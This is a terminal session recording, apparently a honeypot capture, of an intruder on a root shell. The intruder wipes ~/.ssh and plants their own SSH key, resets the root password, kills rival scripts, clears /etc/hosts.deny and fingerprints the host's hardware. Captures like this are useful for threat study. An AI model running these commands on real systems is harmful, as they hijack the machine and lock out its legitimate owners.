{"version":2,"width":80,"height":24,"timestamp":1789947504,"env":{"shell":"/bin/bash","term":"xterm-256color"}}
[0.720163904, "o", "root@app-01:~# "]
[0.720180435, "o", "cd ~; chattr -ia .ssh; lockr -ia .ssh\r\n"]
[0.720857174, "o", "-bash: lockr: command not found\r\n"]
[1.839447941, "o", "root@app-01:~# "]
[1.839472402, "o", "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~\r\n"]
[1.841556061, "o", ""]
[9.934312678, "o", "root@app-01:~# "]
[9.934327858, "o", "cat /proc/cpuinfo | grep name | wc -l\r\n"]
[9.934701589, "o", ""]
[11.05763488, "o", "root@app-01:~# "]
[11.057665081, "o", "echo \"root:cueMnKNqAygn\"|chpasswd|bash\r\n"]
[11.05870751, "o", ""]
[12.18817203, "o", "root@app-01:~# "]
[12.18819246, "o", "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;\r\n"]
[12.190306191, "o", "-bash: pkill: command not found\r\n-bash: pkill: command not found\r\n-bash: pkill: command not found\r\n"]
[13.32950389, "o", "root@app-01:~# "]
[13.329560741, "o", "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'\r\n"]
[13.331101706, "o", "\r\n"]
[14.45304724, "o", "root@app-01:~# "]
[14.45306267, "o", "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'\r\n"]
[14.453751241, "o", ""]
[15.593111739, "o", "root@app-01:~# "]
[15.59313695, "o", "ls -lh $(which ls)\r\n"]
[15.59386484, "o", "\r\n"]
[16.728937615, "o", "root@app-01:~# "]
[16.728955395, "o", "crontab -l\r\n"]
[16.729520471, "o", "-bash: crontab: command not found\r\n"]
[17.867755533, "o", "root@app-01:~# "]
[17.867763993, "o", "w\r\n"]
[17.867813834, "o", " 14:22:31 up 27 min,  1 user,  load average: 0.08, 0.03, 0.01\r\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT\r\nroot     pts/0    10.0.2.2         14:22    0.00s  0.02s  0.00s w\r\n"]